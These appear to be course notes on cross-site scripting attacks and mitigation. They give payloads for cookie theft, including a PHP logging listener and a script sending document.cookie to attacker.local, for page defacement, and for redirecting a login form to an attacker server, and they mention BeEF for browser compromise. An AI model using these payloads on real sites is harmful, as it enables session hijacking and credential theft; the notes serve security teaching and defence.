4. Module XSS

XSS Attacks

1. Stealing cookies

With this JS code we can read cookie from path1 using the xss finding on path2

```
<script>
function cookiePath(path){
    for(var i in windows.frames.length){
        frameUrl = windows.frames[i].location.toString();
        if (frameUrl.indexOf(path) > -1)
            alert(windows.frames[i].document.cookie);
    }
}
</script>
<iframe onload="cookiepath('/path1/')" style="display:none;"
src=/path1/index.php"></iframe>
```

Extensions to help how cookie mechanism works:
`live http header` - `Cookie Editor`

httpOnly flag prevent reading cookie from JS - There is a bypass.

to steal the cookie

1. setup the attacker listener server. "steal.php"

```
$openFile=fopen("logs.txt","a");
$cookie=$_GET["q"];
fwrite($openFile,$cookie);
fclose($openFile);
```

2. read the cookie using JS. "JS exploit" and send it to attacker remote server

```
vulnparameter=<script>var i = new
Image();i.src="http://attacker.local/steal.php?=q="+document.cookie;
</script>
```

2. Defacement

Change the page content
Exploit:

```
<script>
document.body.innerHTML="<h1>Defaced</h1>";
</script>
```

3. Phishing

A form tag

```
<form name="loginform" method="POST" action="/login.php">
```

exploit:

```
document.forms[0].action="http://attacker.local/steal.php"
```

4. Beef

BeEF is the fastest way to exploit the XSS to get RCE on the target browser and if the browser is old or unpatched, BeEF and metasploit "Browser Autopwn" will be able to get RCE on the target machine, not only the browser.

Mitigation

XSS are Data Validation Vulnerability
Mitigating an XSS is about implementing 2 layers:

1. Input Validation: filter as much as possible the attack vector
   Here only characters needed to represent the input data should be accepted. EX: Number input, so developer should implement a whitelist that accept only digits inputs
2. context-aware output encoding: to correctly and safely render users' content on the web application pages.
   Forum accept some tags like `<welcome>` but not `<script>`